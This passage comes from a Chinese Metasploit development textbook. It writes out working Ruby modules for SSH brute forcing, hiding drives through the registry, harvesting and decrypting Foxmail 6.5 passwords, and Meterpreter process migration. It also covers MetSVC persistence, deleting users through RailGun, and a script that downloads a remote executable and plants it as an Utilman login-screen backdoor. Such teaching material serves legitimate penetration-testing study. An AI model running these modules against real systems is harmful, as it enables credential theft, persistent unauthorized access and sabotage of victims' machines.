类产生的登录凭证和其他信息,包括代理信息、stop_on_success
的值(如果为真,扫描将会在获取到正确的登录凭证之后停止)、暴力破解的速度以及登录超时的值。
到此为止,我们已经创建了cred_collection
和scanner
两个对象。cred_collection
对象会基于用户的输入产生登录凭证,scanner
对象会使用这些登录凭证去扫描目标。接下来需要定义一个机制,这个机制用来确定在对目标测试时是使用生词表中的所有登录凭证,还是将这些登录凭证作为参数进行扩展。
在之前的示例中,我们已经见过了run_host
的用法。接下来看看在代码中可以使用的各种库文件的其他函数。
函数 |
库文件 |
用途 |
---|---|---|
|
|
从 |
|
|
从 |
|
|
用来标记一些对目标服务无效的登录凭证 |
下面给出了实现过程:
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip} - LOGIN FAILED: #{result.credential}
(#{result.status}: #{result.proof})"
end
end
end
end
使用.scan
可以实现扫描的初始化,它将完成所有的登录尝试,这表示我们无须指定其他机制。.scan
指令就相当于Ruby
中的each
循环语句。
下一条语句将结果保存到了result
对象中,并使用to_h
方法对这个结果进行处理后分配给变量credential_data
。to_h
方法的作用是将数据转换成散列格式。下一行将模块的名字和工作区id合并到credential_data
变量中。再下一行在if-else
语句中使用result
对象的.success
变量作为判断条件,这个变量表示对目标的登录是否成功。如果result.success?
的值为true
,就认为这个登录凭证是正确的,并将其保存到数据库中;不过如果这个条件不满足要求,就将这个登录数据变量传递给invalidate_login
方法,表示这次登录失败了。
我建议在使用本章以及其后的所有模块前,先使用msftidy
对它们进行一致性检查。下面尝试运行这些模块。
通过使用用户名claire和密码18101988,我们已经成功登录到了目标服务。接下来使用creds
命令来查看保存到数据库中的登录凭证。
现在可以看到,所有的登录细节都已经保存到了数据库中。利用这些信息,可以实现进一步的攻击或者生成渗透报告。
换个角度来看这个过程
如果你对前面的模块感到十分困惑,现在就来一步步地了解它。
(1) 我们已经创建好了一个CredentialCollection
对象,它将处理所有类型的用户输入和用户凭证。这表明我们提供的用户名和密码将会被该对象认为是用户凭证。不过如果使用USER_FILE
和PASS_FILE
作为字典,这个对象就会将字典中的每一个用户名和每一个密码进行一次组合,并将这个组合作为一个用户凭证。
(2) 为SSH服务创建了一个scanner
对象,这个对象将会删除所有的手动输入命令,然后依次测试我们提供的所有用户名/密码组合。
(3) 使用.scan
方法运行scanner
,这样就可以开始对目标的用户凭证进行暴力破解。
(4) .scan
方法将会依次使用所有用户凭证尝试登录。然后根据尝试结果,或者使用print_good
函数打印输出并将其保存到数据库中,或者使用print_status
函数打印但不保存到数据库。
我们已经了解了创建模块的基础,现在可以更进一步来创建一个后渗透模块了。要牢记,只有在成功地渗透一个目标以后,才可以运行后渗透模块。
现在就从一个让硬盘失效的简单程序开始——一个可以禁用Windows 7操作系统上的指定硬盘的程序。该程序代码如下:
require 'rex'
require 'msf/core/post/windows/registry'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize
super(
'Name' => 'Drive Disabler',
'Description' => 'This Modules Hides and Restrict Access to a
Drive',
'License' => MSF_LICENSE,
'Author' => 'Nipun Jaswal'
)
register_options(
[
OptString.new('DriveName', [ true, 'Please SET the Drive Letter' ])
], self.class)
end
这次的开始方式与以前的模块一样。我们将这个后渗透模块所需要的基础库文件引入到了代码中。通过下表查看新引入的库以及用途。
引入语句 |
路径 |
用途 |
---|---|---|
|
|
Ruby的模块混入技术使我们具有操纵注册表的能力 |
接下来将模块的类型定义为Post
,表明这是一个后渗透类型的模块。我们在initialize
方法中将模块的必要信息与代码定义在一起,使用register_options
定义模块中要使用的自定义选项,并且使用OptString.new
将DriveName
定义为字符串类型。要定义一个新选项,需要required
和description
两个参数。这里需要将required
的值设置为true
,因为我们需要一个盘符来启动隐藏和禁用的进程。将这个值设置为true
之后,除非将一个值分配给这个模块,否则这个模块将不会启动。接下来,我们定义了新添加的DriveName
选项的描述。
在讲解后面的代码之前,先来看看这个模块中将要使用到的重要函数。
函数 |
库文件 |
用途 |
---|---|---|
|
|
检查在注册表中是否存在一个指定的键 |
|
|
创建一个新的注册表键 |
|
|
创建一个新的注册表值 |
接着来查看这个模块的剩余部分:
def run
drive_int = drive_string(datastore['DriveName'])
key1="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"
exists = Meterpreter_registry_key_exist?(key1)
if not exists
print_error("Key Doesn't Exist, Creating Key!")
registry_createkey(key1)
print_good("Hiding Drive")
Meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',
REGISTRY_VIEW_NATIVE)
print_good("Restricting Access to the Drive")
Meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D
WORD',REGISTRY_VIEW_NATIVE)
else
print_good("Key Exist, Skipping and Creating Values")
print_good("Hiding Drive")
Meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',
REGISTRY_VIEW_NATIVE)
print_good("Restricting Access to the Drive")
Meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D
WORD',REGISTRY_VIEW_NATIVE)
end
print_good("Disabled #{datastore['DriveName']} Drive")
end
一般可以使用run
方法来运行后渗透模块。所以我们来定义run
方法,在这个run
方法中将变量DriveName
发送给drive_string
方法以获得盘符对应的数值。
创建一个名为key1
的变量,然后将注册表的位置保存在这个变量中。这里要使用meterpreter_registry_key_exist
方法来检查在系统中是否已经存在该注册表键。
如果这个键已经存在,变量exists
就会被赋值为true
,否则就会被赋值为false
。如果exists
的值为false
,则使用registry_createkey(key1)
来创建一个注册表的键,然后再创建注册表的值;如果这个值为true
,则只需要创建它的值即可。
为了实现对盘符的隐藏和访问限制,需要创建两个注册表值,它们分别为NoDrives
和NoViewOnDrive
,值为10进制或者16进制表示的盘符,定义的类型为DWORD
。
因为我们使用的是Meterpreter命令行,所以可以使用Meterpreter_registry_setvaldata
方法实现这两个注册表值的设定。我们需要向函数Meterpreter_registry_setvaldata
提供5个参数以保证它能够正常运行,这些参数包括:1个字符串类型的注册表键路径、1个字符串类型的注册表值、1个10进制数字表示的硬盘盘符(这个值也要转换成对应的字符串类型)、1个字符串类型的注册表值类型和1个整数类型的视图值(初始为0,设置为1表示32位视图,设置为2表示64位视图)。
下面列举了一个使用Meterpreter_registry_setvaldata
的示例:
Meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_D
WORD',REGISTRY_VIEW_NATIVE)
在这段代码中,我们将位置设置为key1
,值设置为NoViewOnDrives
,10进制的16表示D盘,REG_DWORD
作为注册表的类型,REGISTRY_VIEW_NATIVE
表示值为0
。
要访问32位的注册表,需要将视图参数设置为1;要访问64位的注册表,则需要设置为2。这两个值可以使用
REGISTRY_VIEW_32_BIT
和REGISTRY_VIEW_64_BIT
来代替。
你可能会很奇怪:为什么我们使用16作为盘符E的掩码?下面来看看这个掩码的计算过程。
对于一个给出的盘符掩码的计算,可以使用公式2^([驱动器字符序列号]-1)。比如我们需要禁用硬盘E,而E是字母表中的第5个字符,因此计算禁用E盘的准确掩码的过程就应如下所示。
2^ (5-1) = 2^4 = 16
禁用E盘的掩码值为16。在上面的代码中,我们在drive_string
方法中使用case
分支语句对一些值实现了硬编码。下面给出实现过程:
def drive_string(drive)
case drive
when "A"
return 1
when "B"
return 2
when "C"
return 4
when "D"
return 8
when "E"
return 16
end
end
end
从上面的代码可以看出,以盘符作为参数,这个函数就可以返回对应的掩码数值。现在我们来查看一下目标系统上有多少个硬盘。
从上图可以看到这里有两个硬盘,即C盘和E盘。另外我们还需要检查注册表项,并为要使用的模块创建新的注册表键。
不过我们还没有获得开启宝藏的钥匙,下面运行这个模块,过程如下所示。
当我们的模块执行之后,屏幕上显示“Key Doesn’t Exist! Creating Key!”(“该键值不存在,正在创建中”),这表明该模块已经将键值写入了注册表。我们再来查看一下注册表:
可以看到这个键已经存在了。注销当前的用户,然后重新登录,你会发现E盘已经不见了。下面我们来验证一下。
现在已经没有E盘了。我们已经成功从用户视野中隐藏了E盘,同时用户也无法访问它了。
现在想要几个后渗透模块,就可以创建几个了。建议你在Metasploit库的研究上多花一些时间。
首先要确保你已经获得了系统级的访问权限来执行上面的代码。这是因为系统级的访问权限将会在目标系统上创建注册表项,而不是仅仅在当前用户上创建注册表项。另外,我们使用HKLM
而不是HKEY_LOCAL_MACHINE
是因为系统内置的标准化模块会自动创建完整形式的键。建议你仔细阅读registry.rb文件,查看其中可用的各种方法。
如果你没有系统级管理权限,可以尝试使用
exploit/windows/local/bypassuac
模块,然后执行提升权限命令(getsystem
),之后再执行前面的模块。
在这个示例模块中,我们攻击的目标是Foxmail 6.5。我们将尝试对登录凭证进行解密,然后将它保存到数据库中。下面给出了具体实现的代码:
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'FoxMail 6.5 Credential Harvester',
'Description' => %q{
This Module Finds and Decrypts Stored Foxmail 6.5 Credentials
},
'License' => MSF_LICENSE,
'Author' => ['Nipun Jaswal'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'Meterpreter' ]
))
end
上面模块中给出的代码十分简单,仍然是先导入所有需要的库文件,再给出关于这个模块的基本信息。
我们之前已经学习过了Msf::Post::Windows::Registry
和Msf::Auxiliary::Report
的用法,下面给出了本例中新出现一些库文件的介绍。
引入语句 |
路径 |
用途 |
---|---|---|
|
|
提供了Windows系统的所有配置文件,包括对重要目录和路径的查找 |
|
|
提供了各种操作文件的函数,例如文件读取、目录检查、目录列举、文件写入等 |
在开始学习模块的下一部分前,先来了解一下收集登录凭证的整个过程。
(1) 首先搜索用户文件,查找当前用户的LocalAppData文件夹的准确位置。
(2) 使用上面找到的位置,并将其与\VirtualStore\Program Files (x86)\Tencent\Foxmail\mail连接,建立一个mail文件夹的完整路径。
(3) 列出mail文件夹下的所有文件夹,并将它们都保存到一个数组中。在mail文件中的每一个文件夹的名字都对应着一个邮箱用户名,比如nipunjaswal@rocketmail.com就可以是mail文件夹下的一个文件夹。
(4) 在mail文件夹下的accounts文件夹中查找Account.stg文件。
(5) 通过读取Account.stg文件,会发现名为POP3Password
的散列值。
(6) 将这个值传递给解密方法,然后就会得到明文密码。
(7) 将这些值保存到数据库中。
怎么样,很简单吧。下面对代码进行分析:
def run
profile = grab_user_profiles()
counter = 0
data_entry = ""
profile.each do |user|
if user['LocalAppData']
full_path = user['LocalAppData']
full_path = full_path+"\\VirtualStore\\Program Files
(x86)\\Tencent\\Foxmail\\mail"
if directory?(full_path)
print_good("Fox Mail Installed, Enumerating Mail Accounts")
session.fs.dir.foreach(full_path) do |dir_list|
if dir_list =~ /@/
counter=counter+1
full_path_mail = full_path+ "\" + dir_list + "\" + "Account.stg"
if file?(full_path_mail)
print_good("Reading Mail Account #{counter}")
file_content = read_file(full_path_mail).split("n")
在分析上述代码之前,先来看看代码中都使用了哪些重要的函数,以便更好地了解这些代码。
函数 |
库文件 |
用途 |
---|---|---|
|
|
在Windows系统平台上抓取所有重要目录的路径 |
|
|
检查一个指定的目录是否存在 |
|
|
检查一个指定的文件是否存在 |
|
|
读取一个文件的内容 |
|
|
将收集到的信息保存到一个文件和数据库中 |
从上面的代码中可以看出,我们使用grab_user_profiles()
抓取了配置文件,并尝试寻找每个文件的LocalAppData文件夹。一旦找到,就将它保存在一个名为full_path
的变量中。
接下来将这个路径与mail文件夹组合,在mail文件夹中所有的用户名都以子文件夹名形式展现。可以使用directory?
方法检查该文件夹是否存在。一旦成功,就使用正则表达式将所有包含@
字符的文件夹名保存到dir_list
中。接下来,创建另一个变量full_path_mail
,保存每个email到Account.stg的准确路径。可以使用file?
方法来查看Account.stg文件是否存在;如果存在,则读取这个文件,然后将其所有内容都以换行符分隔开。将分隔后的内容保存到file_content
列表,下面给出了代码的其他部分。
file_content.each do |hash|
if hash =~ /POP3Password/
hash_data = hash.split("=")
hash_value = hash_data[1]
if hash_value.nil?
print_error("No Saved Password")
else
print_good("Decrypting Password for mail account: #{dir_list}")
decrypted_pass = decrypt(hash_value,dir_list)
data_entry << "Username:" +dir_list + "t" + "Password:" +
decrypted_pass+"n"
end
end
end
end
end
end
end
end
end
store_loot("Foxmail
Accounts","text/plain",session,data_entry,"Fox.txt","Fox Mail Accounts")
end
我们对file_content
中的每一个条目都进行了检查,以便查找其中的POP3Password
。一旦找到这样的字段,利用=对这个字段进行分割,并将其中的值保存到变量hash_value
中。
接下来就可以将hash_value
和dir_list
(用户名)传递给函数decrypt()
了。成功解密之后,明文密码将被保存到变量decrypted_pass
中。再创建一个名为data_entry
的变量,然后将所有登录凭证都添加到其中。之所以这样做,是因为我们并不知道在目标上一共配置了多少邮箱账户。因此,每一个登录凭证的结果都要添加到data_entry
中。当所有操作完成以后,使用store_loot
方法将data_entry
变量保存到数据库中。我们要向store_loot
提供6个参数,分别是收集的名称、内容类型、session、data_entry、文件的名称以及收集的描述。
下面给出了解密函数的具体实现:
def decrypt(hash_real,dir_list)
decoded = ""
magic = Array[126, 100, 114, 97, 71, 111, 110, 126]
fc0 = 90
size = (hash_real.length)/2 - 1
index = 0
b = Array.new(size)
for i in 0 .. size do
b[i] = (hash_real[index,2]).hex
index = index+2
end
b[0] = b[0] ^ fc0
double_magic = magic+magic
d = Array.new(b.length-1)
for i in 1 .. b.length-1 do
d[i-1] = b[i] ^ double_magic[i-1]
end
e = Array.new(d.length)
for i in 0 .. d.length-1
if (d[i] - b[i] < 0)
e[i] = d[i] + 255 - b[i]
else
e[i] = d[i] - b[i]
end
decoded << e[i].chr
end
print_good("Found Username #{dir_list} with Password: #{decoded}")
return decoded
end
end
上面的方法接收了两个参数,分别是密码的散列值和用户名。变量magic
是解密密钥,存储为数组的形式,数组中的内容依次是字符串 ~draGon~
的10进制数字表示。将整数90保存在fc0
中,一会再解释这么做的原因。
接下来,通过将散列值除以2并从中减去1来得出它的长度,这个长度也是新创建的数组b
的长度。
在下一步中,将散列值分成字节(每次两个字符),然后将它们存储到数组b
中。对数组b
中的第一个字节与fc0
进行XOR
操作,然后再将结果保存到数组b
的第一个字节处。因此,通过与90
进行XOR
操作可以更新b[0]
的值。这一点对Foxmail 6.5也适用。
现在复制magic
数组两次,生成一个新的数组double_magic
。声明double_magic
数组的长度比数组b
的长度短1。对除数组b
中的第一个元素以外的所有元素与数组double_magic
中的所有元素执行XOR
操作。注意,不对数组b
中的第一个已经执行过XOR
运算的元素进行这个操作。
将XOR
的结果保存到数组d
中。下一条指令从数组b
中减去数组d
的内容,但当相减的结果小于0时,将结果加255。
下一步需要将数组e
中特定元素的ASCII值添加到decoded
变量中,并将其返回到调用语句中。
下面给出了这个模块的运行界面。
很明显,我们可以轻松地对存储在Foxmail 6.5中的登录凭证进行解密了。
在目标计算机上获得一个Meterpreter命令行控制权限是每一个攻击者都梦寐以求的。Meterpreter可以向攻击者提供用于在被渗透计算机上完成各种任务的各种工具。除此之外,Meterpreter还有很多内置的脚本可以使用,这使得攻击者可以更轻松地攻击系统。这些脚本可以在被渗透的计算机上执行或简单或复杂的任务。在本节中,可以看到这些脚本的组成部分以及如何在Meterpreter中利用这些脚本。
从以下网页可获得Meterpreter的基本命令速查表:http://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20Meterpreter%20Cheat%20%20Sheet.pdf。
到目前为止,我们已经见识了Meterpreter的威力。当需要在目标系统执行指定任务时,都可以通过Meterpreter实现。然而在进行渗透测试时,可能会出现一些特殊的需求,往往Meterpreter中现有的模块并不具备这些功能。在这种情况下,我们希望将能够完成任务的自定义功能模块添加到Meterpreter中。我们先来执行一下Meterpreter的高级功能,领略一下它的威力。
当获得了目标计算机的控制权限之后,我们就可以借此来侵入到内部网络,就像在前一章中做的那样,同时我们必须保持好这来之不易的控制权限。不过对于授权的渗透测试,只有在许可的时间和范围内才需要实现控制权限的持久化。利用Meterpreter,可以通过MetSVC和Persistence两种不同的方法在目标计算机上安装后门程序。
我们将在接下来的章节中看到一些高级的永久访问权限。因此,这里将讨论MetSVC方法。MetSVC安装在被成功渗透的目标主机上,然后以系统服务形式运行。而且MetSVC会打开目标主机的一个端口,这个端口将会永久性地向攻击者开放。只要攻击者愿意,就可以在任何时候连接到目标主机上。
在目标计算机上安装MetSVC是一个很简单的工作,来看看如何完成这个任务。
可以看到MetSVC在31337端口创建了一个服务,然后上传了一个恶意的软件到目标计算机。
今后,每当需要访问该服务,我们只需要打开exploit/multi/handler,将攻击载荷设置为metsvc_bind_tcp
,就能够再次连接到服务。这一切如下面的屏幕截图所示。
即使目标主机重新启动了,MetSVC的效果仍然存在。当需要永久地获得目标主机的控制权限时,MetSVC是十分方便的,它也节省了再次渗透攻击的时间。
我们刚刚见识了Meterpreter的高级功能,这些功能确实使渗透测试工程师的工作轻松了很多。
现在让我们深入研究Meterpreter的工作机制,揭示Meterpreter模块和脚本的基本创建过程。这是因为有些时候仅仅使用Meterpreter可能完成不了所有的指定任务。在这种情形下,就需要开发自定义模块去执行或者自动化渗透攻击阶段的各种任务。
首先来了解一下Meterpreter脚本的基础知识。Meterpreter编程的基础就是应用编程接口(application programming interface,API)调用和mixin类。在需要调用Windows动态链接库(dynamic link library,DLL)文件或者调用一些Ruby编写的模块时,这两者是必不可少的。
mixin是Ruby编程语言中的一个基础类。这个类包含了其他类的各种方法。当我们试图在目标计算机上完成各种任务时,mixin是极其有用的。除此以外,mixin并不完全是IRB的一部分,但是它可以帮助你轻松编写更具体、更先进的Meterpreter脚本。
有关mixin的更多信息,请访问http://www.offensive-security.com/Metasploit-unleashed/Mixins_and_Plugins。
建议你在/lib/rex/post/Meterpreter和/lib/msf/scripts/Meterpreter目录中详细了解Meterpreter所使用的各种库文件。
API调用指的是在Windows系统下从DLL文件中调用指定的功能。2.4节将学习API调用。
先来完成一个简单的Meterpreter脚本实例,这个脚本将会检查我们当前是否为管理员用户,然后找到explorer进程,并自动迁移到这个进程中。
在开始编写之前,先来了解一些即将使用到的重要函数。
函数 |
库文件 |
用途 |
---|---|---|
|
|
检查当前会话是否具有管理员权限 |
|
|
检查一个用户是否属于管理员组 |
|
|
列出目标系统中当前运行的所有进程 |
|
|
将控制程序从当前进程转移到由参数指定的PID所代表的进程上 |
|
|
检查UAC是否启用 |
|
|
获得UAC的值:0、2、5等 |
来看看下面的代码:
# 检查当前用户是否为管理员
print_status("Checking If the Current User is Admin")
admin_check = is_admin?
if(admin_check)
print_good("Current User Is Admin")
else
print_error("Current User is Not Admin")
end
上面的代码用来检查当前用户是否为管理员。这里函数is_admin
的返回值为布尔类型,我们可以打印输出这个结果:
# 检查用户是否属于管理员组
user_check = is_in_admin_group?
if(user_check)
print_good("Current User is in the Admin Group")
else
print_error("Current User is Not in the Admin Group")
end
上面这段代码检查了用户是否属于管理员组。这段代码的逻辑和前一段十分类似。
# Explorer.exe的进程ID
current_pid = session.sys.process.getpid
print_status("Current PID is #{current_pid}")
session.sys.process.get_processes().each do |x|
if x['name'].downcase == "explorer.exe"
print_good("Explorer.exe Process is Running with PID #{x['pid']}")
explorer_ppid = x['pid'].to_i
# 迁移到Explorer.exe进程
session.core.migrate(explorer_ppid)
current_pid = session.sys.process.getpid
print_status("Current PID is #{current_pid}")
end
end
这部分代码的作用十分重要。我们首先使用session.sys.process.getpid
查找当前进程ID,然后使用session.sys.process.get_processes()
上的循环遍历目标系统上的所有进程。如果找到名称为explorer.exe
的进程,我们将打印一条消息,并将其ID存储到变量explorer_ppid
中。使用session.core.migrate()
方法将存储的进程ID(explorer.exe
)迁移到explorer.exe
进程中。最后,只需再次打印当前进程ID,以确保是否成功迁移。
# 查找当前用户
print_status("Getting the Current User ID")
currentuid = session.sys.config.getuid
print_good("Current Process ID is #{currentuid}")
在上面这段代码中,我们使用sessions.sys.config.getuid
方法查找当前用户的标识符:
# 检查目标系统上是否启用了UAC
uac_check = is_uac_enabled?
if(uac_check)
print_error("UAC is Enabled")
uac_level = get_uac_level
if(uac_level = 5)
print_status("UAC level is #{uac_level.to_s} which is Default")
elsif (uac_level = 2)
print_status("UAC level is #{uac_level.to_s} which is Always Notify")
else
print_error("Some Error Occured")
end
else
print_good("UAC is Disabled")
end
上面的代码检查了目标系统上是否启用了UAC。如果启用了UAC,我们将使用get-uac-level
方法进一步深入查找UAC的级别,并通过其响应值打印状态。
让我们将此代码保存在/scripts/meterpreter/gather.rb目录中,并在Meterpreter中启动此脚本。执行完毕后将出现类似以下屏幕截图的输出。
现在我们清楚地了解到,无论是编写Meterpreter脚本,执行各种任务,还是实现任务的自动化,这一切都是那么简单。建议你仔细研究模块中引入的文件和路径,以便更深入地了解Meterpreter。
根据Metasploit在维基百科上的介绍,你不该再去编写Meterpreter脚本,而是应该编写一些后渗透模块。
RailGun听起来好像是一种电磁轨道炮。然而,它并非这个意思。RailGun允许你在不编译自己的DLL文件的情况下直接调用Windows的API。
它支持数目众多的Windows DLL文件,并且为攻击者在目标计算机上获得系统级权限提供了便利的途径。让我们看看如何使用RailGun执行各种任务,以及如何使用它去完成一些高级的后渗透攻击工作。
在使用RailGun之前,需要先在Meterpreter命令行中载入irb
命令行。下图演示了如何从Meterpreter命令行切换到irb
命令行。
在上图中可以看到,简单地输入irb
就可以从Meterpreter命令行切换到交互式Ruby命令行。可以通过Ruby命令行执行各种任务。
RailGun具有极为强大的能力。有些任务Metasploit不能胜任,RailGun却可以顺利完成。可以通过RailGun使得目标系统的DLL文件出现更多的异常,并且创造出更先进的后渗透方法。
现在来看看如何通过RailGun在一个方法中调用基础API,以及它是如何工作的。
client.railgun.DLLname.function(parameters)
这是在RailGun中调用API的基本结构。关键字client.railgun
定义了我们需要客户端的RailGun功能。关键字DLLname
指明了在执行一个DLL文件调用时要使用的DLL名称。关键字function(parameters)
指定需要从DLL文件中调用的API函数作为参数。
来看一个例子。
这个API调用执行的结果如下图所示。
在这里,从user32.dll文件中调用的LockWorkStation()
函数执行后导致被渗透系统进入了锁定状态。
接着,我们来看看这个API的调用方法以及它的参数使用。
client.railgun.netapi32.NetUserDel(arg1,agr2)
当前的命令一旦运行,将会从客户的计算机上删除指定的用户。目前有以下用户。
来试试删除一个用户名为Nipun
的用户。
检查一下用户是否被成功删除。
成功搞定!这个用户已经消失了。RailGun已经成功将用户Nipun
从系统中删除了。值nil
指明了用户是工作在局域网中。然而,如果系统的目标在一个不同的网络中,则应该把参数的值设定为目标系统的NET-BIOS值。
在Windows系统中,DLL文件是大多数任务能否顺利完成的关键。因此,重中之重就是明确哪个DLL文件中包含了哪个方法。与Metasploit的库文件类似,它也包含了很多方法。如果想学习Windows API调用,可以访问http://source.winehq.org/WineAPI/和http://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx,其中有许多优秀的学习资料。建议在深入学习RailGun脚本的创建之前,先多熟悉一下各种API调用。
有关RailGun支持的DLL文件的更多信息,请参考以下路径:/usr/share/Metasploit-framework/lib/rex/post/Meterpreter/extensions/stdapi/RailGun/def。
现在开始更深入地学习使用RailGun来编写Meterpreter的扩展模块。首先创建一个脚本,这个脚本会将一个自定义名称的DLL文件添加到Metasploit的界面中。
if client.railgun.get_dll('urlmon') == nil
print_status("Adding Function")
end
client.railgun.add_dll('urlmon','C:\WINDOWS\system32\urlmon.dll')
client.railgun.add_function('urlmon','URLDownloadToFileA','DWORD',[
["DWORD","pcaller","in"],
["PCHAR","szURL","in"],
["PCHAR","szFileName","in"],
["DWORD","Reserved","in"],
["DWORD","lpfnCB","in"],
])
将这段代码以urlmon.rb为名保存到目录/scripts/Meterpreter中。
这段代码给文件C:\WINDOWS\system32\urlmon.dll添加了一个引用路径。这个文件包含了访问一个URL需要用到的所有功能,以及一些其他功能,比如下载某个特定文件。我们将引用的路径保存在了名称urlmon
中。接着,将一个自定义函数添加到DLL文件中,使用DLL文件的名称作为第一个参数,使用我们即将创造的那个自定义函数名作为第二个参数,这个参数是URLDownloadToFileA
。第一行代码用来检查DLL函数是否已经在DLL文件中存在。如果已经存在,脚本就不会再一次添加函数。如果调用的应用程序不是一个ActiveX组件,参数pcaller
将被设置为NULL
;如果是一个ActiveX组件,则将被设置为COM对象。参数szURL
指定了要下载的URL。参数szFileName
指明了从指定URL下载的文件名。参数Reserved
通常被设置为NULL
,而lpfnCB
用来处理下载的状态。然而,如果并不需要状态值的话,这个值将被设置为NULL
。
现在创建另一个脚本,这个脚本将会使用这个函数。我们要创建一个后渗透模块,这个模块的作用是下载一个免费的文件管理器,并且修改Windows操作系统中的辅助工具管理器(utility manager)的入口值。因此,每当我们要调用辅助工具管理器的时候,运行的其实都是刚才下载的文件管理器。
在相同的目录下创建一个名为railgun-demo.rb的脚本,内容如下。
client.railgun.urlmon.URLDownloadToFileA(0,"http://192.168.1.10
/A43.exe","C:\Windows\System32\a43.exe",0,0)
key="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\Utilman.exe"
syskey=registry_createkey(key)
registry_setvaldata(key,'Debugger','a43.exe','REG_SZ')
跟之前叙述的一样,脚本的第一行会调用urlmon文件中的URLDownloadToFile
函数及其所需要的参数。
接下来,在父键HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File ExcuionOptions
下面创建一个新的Utilman.exe
键。
在Utilman.exe
键下面再建立一个名为Debugger
的REG_SZ
类型的注册表值。最后将a43.exe赋值给Debugger
。
我们从Meterpreter运行这个脚本,看看这一切是如何运转的。
运行脚本railgun_demo之后,就会使用urlmon.dll下载文件管理器,并将这个文件管理器放置在system32目录中。接下来,创建一个将辅助工具管理器替换为a43.exe的注册表键。因此,当有人在登录屏幕上按下访问按钮的时候,不会出现文件管理器,而是出现一个a43文件管理器。这个文件管理器将成为目标系统登录屏幕上的一个后门。
好了,来看看在登录界面中按下轻松访问按钮(ease of access button)会发生什么。结果如下图所示。
可以看到,现在出现的是一个a43文件管理器,而不是本该出现的辅助工具管理器。我们现在无须登录,就可以实现各种功能,比如说修改注册表、使用CMD命令行以及各种各样的操作。现在你见识到RailGun的威力了吧,它可以帮助你轻松地访问任何一个DLL文件,而且允许你向其添加自定义的模块。
有关此DLL函数的更多信息,请访问http://msdn.microsoft.com/en-us/library/ms775123(v=vs.85).aspx。
本章介绍了Metasploit模块的编写。我们了解了Metasploit的模块、后渗透模块脚本、Meterpreter、RailGun以及Ruby程序的编写。通过本章,我们学会了如何将自定义函数添加到Metasploit框架中,这使得本来就十分强大的框架如虎添翼。我们熟悉了Ruby编程语言的基础知识,学习了辅助模块、后渗透模块以及Meterpreter扩展模块的代码编写,也讨论了如何利用RailGun的自定义函数添加功能,例如添加一个DLL文件,或者向目标的DLL文件中添加一个自定义函数。
为了进一步提高你的能力,可以尝试以下练习。
下一章将介绍Metasploit中的渗透模块的开发。我们将会开发一个自定义渗透模块,对漏洞进行各种fuzz测试,渗透目标软件,以及编写针对应用程序和Web的高级渗透模块。